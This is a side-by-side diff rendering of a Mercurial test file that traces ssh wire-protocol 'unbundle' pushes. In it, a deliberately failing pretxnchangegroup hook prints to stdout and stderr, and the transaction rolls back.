1022 | o> 1\n |
|
1008 | o> 1\n | |
1023 | o> readline() -> 1: |
|
1009 | o> readline() -> 1: | |
1024 | o> \n |
|
1010 | o> \n | |
1025 | sending unbundle command |
|
1011 | sending unbundle command | |
1026 | i> write(9) -> 9: |
|
1012 | i> write(9) -> 9: | |
1027 | i> unbundle\n |
|
1013 | i> unbundle\n | |
1028 | i> write(9) -> 9: |
|
1014 | i> write(9) -> 9: | |
1029 | i> heads 10\n |
|
1015 | i> heads 10\n | |
1030 | i> write(10) -> 10: 666f726365 |
|
1016 | i> write(10) -> 10: 666f726365 | |
1031 | i> flush() -> None |
|
1017 | i> flush() -> None | |
1032 | o> readline() -> 2: |
|
1018 | o> readline() -> 2: | |
1033 | o> 0\n |
|
1019 | o> 0\n | |
1034 | i> write(4) -> 4: |
|
1020 | i> write(4) -> 4: | |
1035 | i> 426\n |
|
1021 | i> 426\n | |
1036 | i> write(426) -> 426: |
|
1022 | i> write(426) -> 426: | |
1037 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
1023 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
1038 | i> test\n |
|
1024 | i> test\n | |
1039 | i> 0 0\n |
|
1025 | i> 0 0\n | |
1040 | i> foo\n |
|
1026 | i> foo\n | |
1041 | i> \n |
|
1027 | i> \n | |
1042 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
1028 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
1043 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
1029 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
1044 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
1030 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
1045 | i> write(2) -> 2: |
|
1031 | i> write(2) -> 2: | |
1046 | i> 0\n |
|
1032 | i> 0\n | |
1047 | i> flush() -> None |
|
1033 | i> flush() -> None | |
1048 | o> readline() -> 2: |
|
1034 | o> readline() -> 2: | |
1049 | o> 0\n |
|
1035 | o> 0\n | |
1050 | o> readline() -> 2: |
|
1036 | o> readline() -> 2: | |
1051 | o> 1\n |
|
1037 | o> 1\n | |
1052 | o> read(1) -> 1: 0 |
|
1038 | o> read(1) -> 1: 0 | |
1053 | result: 0 |
|
1039 | result: 0 | |
1054 | remote output: |
|
1040 | remote output: | |
1055 | o> read(-1) -> 0: |
|
|||
1056 | e> read(-1) -> 218: |
|
1041 | e> read(-1) -> 218: | |
1057 | e> adding changesets\n |
|
1042 | e> adding changesets\n | |
1058 | e> adding manifests\n |
|
1043 | e> adding manifests\n | |
1059 | e> adding file changes\n |
|
1044 | e> adding file changes\n | |
1060 | e> added 1 changesets with 1 changes to 1 files\n |
|
1045 | e> added 1 changesets with 1 changes to 1 files\n | |
1061 | e> print 1\n |
|
1046 | e> print 1\n | |
1062 | e> ui.write 1\n |
|
1047 | e> ui.write 1\n | |
1063 | e> print 2\n |
|
1048 | e> print 2\n | |
1064 | e> ui.write 2\n |
|
1049 | e> ui.write 2\n | |
1065 | e> transaction abort!\n |
|
1050 | e> transaction abort!\n | |
1066 | e> rollback completed\n |
|
1051 | e> rollback completed\n | |
1067 | e> abort: pretxnchangegroup.fail hook failed\n |
|
1052 | e> abort: pretxnchangegroup.fail hook failed\n | |
1068 |
|
1053 | |||
1069 | testing ssh2 |
|
1054 | testing ssh2 | |
1070 | creating ssh peer from handshake results |
|
1055 | creating ssh peer from handshake results | |
1071 | i> write(171) -> 171: |
|
1056 | i> write(171) -> 171: | |
1072 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
1057 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
1073 | i> hello\n |
|
1058 | i> hello\n | |
1074 | i> between\n |
|
1059 | i> between\n | |
1075 | i> pairs 81\n |
|
1060 | i> pairs 81\n | |
1076 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1061 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1077 | i> flush() -> None |
|
1062 | i> flush() -> None | |
1078 | o> readline() -> 62: |
|
1063 | o> readline() -> 62: | |
1079 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
1064 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
1080 | o> readline() -> 4: |
|
1065 | o> readline() -> 4: | |
1081 | o> 412\n |
|
1066 | o> 412\n | |
1082 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
1067 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
1083 | o> read(1) -> 1: |
|
1068 | o> read(1) -> 1: | |
1084 | o> \n |
|
1069 | o> \n | |
1085 | sending unbundle command |
|
1070 | sending unbundle command | |
1086 | i> write(9) -> 9: |
|
1071 | i> write(9) -> 9: | |
1087 | i> unbundle\n |
|
1072 | i> unbundle\n | |
1088 | i> write(9) -> 9: |
|
1073 | i> write(9) -> 9: | |
1089 | i> heads 10\n |
|
1074 | i> heads 10\n | |
1090 | i> write(10) -> 10: 666f726365 |
|
1075 | i> write(10) -> 10: 666f726365 | |
1091 | i> flush() -> None |
|
1076 | i> flush() -> None | |
1092 | o> readline() -> 2: |
|
1077 | o> readline() -> 2: | |
1093 | o> 0\n |
|
1078 | o> 0\n | |
1094 | i> write(4) -> 4: |
|
1079 | i> write(4) -> 4: | |
1095 | i> 426\n |
|
1080 | i> 426\n | |
1096 | i> write(426) -> 426: |
|
1081 | i> write(426) -> 426: | |
1097 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
1082 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
1098 | i> test\n |
|
1083 | i> test\n | |
1099 | i> 0 0\n |
|
1084 | i> 0 0\n | |
1100 | i> foo\n |
|
1085 | i> foo\n | |
1101 | i> \n |
|
1086 | i> \n | |
1102 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
1087 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
1103 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
1088 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
1104 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
1089 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
1105 | i> write(2) -> 2: |
|
1090 | i> write(2) -> 2: | |
1106 | i> 0\n |
|
1091 | i> 0\n | |
1107 | i> flush() -> None |
|
1092 | i> flush() -> None | |
1108 | o> readline() -> 2: |
|
1093 | o> readline() -> 2: | |
1109 | o> 0\n |
|
1094 | o> 0\n | |
1110 | o> readline() -> 2: |
|
1095 | o> readline() -> 2: | |
1111 | o> 1\n |
|
1096 | o> 1\n | |
1112 | o> read(1) -> 1: 0 |
|
1097 | o> read(1) -> 1: 0 | |
1113 | result: 0 |
|
1098 | result: 0 | |
1114 | remote output: |
|
1099 | remote output: | |
1115 | o> read(-1) -> 0: |
|
|||
1116 | e> read(-1) -> 218: |
|
1100 | e> read(-1) -> 218: | |
1117 | e> adding changesets\n |
|
1101 | e> adding changesets\n | |
1118 | e> adding manifests\n |
|
1102 | e> adding manifests\n | |
1119 | e> adding file changes\n |
|
1103 | e> adding file changes\n | |
1120 | e> added 1 changesets with 1 changes to 1 files\n |
|
1104 | e> added 1 changesets with 1 changes to 1 files\n | |
1121 | e> print 1\n |
|
1105 | e> print 1\n | |
1122 | e> ui.write 1\n |
|
1106 | e> ui.write 1\n | |
1123 | e> print 2\n |
|
1107 | e> print 2\n | |
1124 | e> ui.write 2\n |
|
1108 | e> ui.write 2\n | |
1125 | e> transaction abort!\n |
|
1109 | e> transaction abort!\n | |
1126 | e> rollback completed\n |
|
1110 | e> rollback completed\n | |
1127 | e> abort: pretxnchangegroup.fail hook failed\n |
|
1111 | e> abort: pretxnchangegroup.fail hook failed\n | |
1128 |
|
1112 | |||
1129 | print() to stdout and stderr both get captured |
|
1113 | print() to stdout and stderr both get captured | |
1130 |
|
1114 | |||
1131 | $ cat > .hg/hgrc << EOF |
|
1115 | $ cat > .hg/hgrc << EOF | |
1132 | > [hooks] |
|
1116 | > [hooks] | |
1133 | > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookprintstderrandstdout |
|
1117 | > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookprintstderrandstdout | |
1134 | > EOF |
|
1118 | > EOF | |
1135 |
|
1119 | |||
1136 | $ debugwireproto << EOF |
|
1120 | $ debugwireproto << EOF | |
1137 | > command unbundle |
|
1121 | > command unbundle | |
1138 | > # This is "force" in hex. |
|
1122 | > # This is "force" in hex. | |
1139 | > heads 666f726365 |
|
1123 | > heads 666f726365 | |
1140 | > PUSHFILE ../initial.v1.hg |
|
1124 | > PUSHFILE ../initial.v1.hg | |
1141 | > readavailable |
|
1125 | > readavailable | |
1142 | > EOF |
|
1126 | > EOF | |
1143 | testing ssh1 |
|
1127 | testing ssh1 | |
1144 | creating ssh peer from handshake results |
|
1128 | creating ssh peer from handshake results | |
1145 | i> write(104) -> 104: |
|
1129 | i> write(104) -> 104: | |
1146 | i> hello\n |
|
1130 | i> hello\n | |
1147 | i> between\n |
|
1131 | i> between\n | |
1148 | i> pairs 81\n |
|
1132 | i> pairs 81\n | |
1149 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1133 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1150 | i> flush() -> None |
|
1134 | i> flush() -> None | |
1151 | o> readline() -> 4: |
|
1135 | o> readline() -> 4: | |
1152 | o> 413\n |
|
1136 | o> 413\n | |
1153 | o> readline() -> 413: |
|
1137 | o> readline() -> 413: | |
1154 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
1138 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
1155 | o> readline() -> 2: |
|
1139 | o> readline() -> 2: | |
1156 | o> 1\n |
|
1140 | o> 1\n | |
1157 | o> readline() -> 1: |
|
1141 | o> readline() -> 1: | |
1158 | o> \n |
|
1142 | o> \n | |
1159 | sending unbundle command |
|
1143 | sending unbundle command | |
1160 | i> write(9) -> 9: |
|
1144 | i> write(9) -> 9: | |
1161 | i> unbundle\n |
|
1145 | i> unbundle\n | |
1162 | i> write(9) -> 9: |
|
1146 | i> write(9) -> 9: | |
1163 | i> heads 10\n |
|
1147 | i> heads 10\n | |
1164 | i> write(10) -> 10: 666f726365 |
|
1148 | i> write(10) -> 10: 666f726365 | |
1165 | i> flush() -> None |
|
1149 | i> flush() -> None | |
1166 | o> readline() -> 2: |
|
1150 | o> readline() -> 2: | |
1167 | o> 0\n |
|
1151 | o> 0\n | |
1168 | i> write(4) -> 4: |
|
1152 | i> write(4) -> 4: | |
1169 | i> 426\n |
|
1153 | i> 426\n | |
1170 | i> write(426) -> 426: |
|
1154 | i> write(426) -> 426: | |
1171 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
1155 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
1172 | i> test\n |
|
1156 | i> test\n | |
1173 | i> 0 0\n |
|
1157 | i> 0 0\n | |
1174 | i> foo\n |
|
1158 | i> foo\n | |
1175 | i> \n |
|
1159 | i> \n | |
1176 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
1160 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
1177 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
1161 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
1178 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
1162 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
1179 | i> write(2) -> 2: |
|
1163 | i> write(2) -> 2: | |
1180 | i> 0\n |
|
1164 | i> 0\n | |
1181 | i> flush() -> None |
|
1165 | i> flush() -> None | |
1182 | o> readline() -> 2: |
|
1166 | o> readline() -> 2: | |
1183 | o> 0\n |
|
1167 | o> 0\n | |
1184 | o> readline() -> 2: |
|
1168 | o> readline() -> 2: | |
1185 | o> 1\n |
|
1169 | o> 1\n | |
1186 | o> read(1) -> 1: 0 |
|
1170 | o> read(1) -> 1: 0 | |
1187 | result: 0 |
|
1171 | result: 0 | |
1188 | remote output: |
|
1172 | remote output: | |
1189 | o> read(-1) -> 0: |
|
|||
1190 | e> read(-1) -> 216: |
|
1173 | e> read(-1) -> 216: | |
1191 | e> adding changesets\n |
|
1174 | e> adding changesets\n | |
1192 | e> adding manifests\n |
|
1175 | e> adding manifests\n | |
1193 | e> adding file changes\n |
|
1176 | e> adding file changes\n | |
1194 | e> added 1 changesets with 1 changes to 1 files\n |
|
1177 | e> added 1 changesets with 1 changes to 1 files\n | |
1195 | e> stdout 1\n |
|
1178 | e> stdout 1\n | |
1196 | e> stderr 1\n |
|
1179 | e> stderr 1\n | |
1197 | e> stdout 2\n |
|
1180 | e> stdout 2\n | |
1198 | e> stderr 2\n |
|
1181 | e> stderr 2\n | |
1199 | e> transaction abort!\n |
|
1182 | e> transaction abort!\n | |
1200 | e> rollback completed\n |
|
1183 | e> rollback completed\n | |
1201 | e> abort: pretxnchangegroup.fail hook failed\n |
|
1184 | e> abort: pretxnchangegroup.fail hook failed\n | |
1202 |
|
1185 | |||
1203 | testing ssh2 |
|
1186 | testing ssh2 | |
1204 | creating ssh peer from handshake results |
|
1187 | creating ssh peer from handshake results | |
1205 | i> write(171) -> 171: |
|
1188 | i> write(171) -> 171: | |
1206 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
1189 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
1207 | i> hello\n |
|
1190 | i> hello\n | |
1208 | i> between\n |
|
1191 | i> between\n | |
1209 | i> pairs 81\n |
|
1192 | i> pairs 81\n | |
1210 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1193 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1211 | i> flush() -> None |
|
1194 | i> flush() -> None | |
1212 | o> readline() -> 62: |
|
1195 | o> readline() -> 62: | |
1213 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
1196 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
1214 | o> readline() -> 4: |
|
1197 | o> readline() -> 4: | |
1215 | o> 412\n |
|
1198 | o> 412\n | |
1216 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
1199 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
1217 | o> read(1) -> 1: |
|
1200 | o> read(1) -> 1: | |
1218 | o> \n |
|
1201 | o> \n | |
1219 | sending unbundle command |
|
1202 | sending unbundle command | |
1220 | i> write(9) -> 9: |
|
1203 | i> write(9) -> 9: | |
1221 | i> unbundle\n |
|
1204 | i> unbundle\n | |
1222 | i> write(9) -> 9: |
|
1205 | i> write(9) -> 9: | |
1223 | i> heads 10\n |
|
1206 | i> heads 10\n | |
1224 | i> write(10) -> 10: 666f726365 |
|
1207 | i> write(10) -> 10: 666f726365 | |
1225 | i> flush() -> None |
|
1208 | i> flush() -> None | |
1226 | o> readline() -> 2: |
|
1209 | o> readline() -> 2: | |
1227 | o> 0\n |
|
1210 | o> 0\n | |
1228 | i> write(4) -> 4: |
|
1211 | i> write(4) -> 4: | |
1229 | i> 426\n |
|
1212 | i> 426\n | |
1230 | i> write(426) -> 426: |
|
1213 | i> write(426) -> 426: | |
1231 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
1214 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
1232 | i> test\n |
|
1215 | i> test\n | |
1233 | i> 0 0\n |
|
1216 | i> 0 0\n | |
1234 | i> foo\n |
|
1217 | i> foo\n | |
1235 | i> \n |
|
1218 | i> \n | |
1236 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
1219 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
1237 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
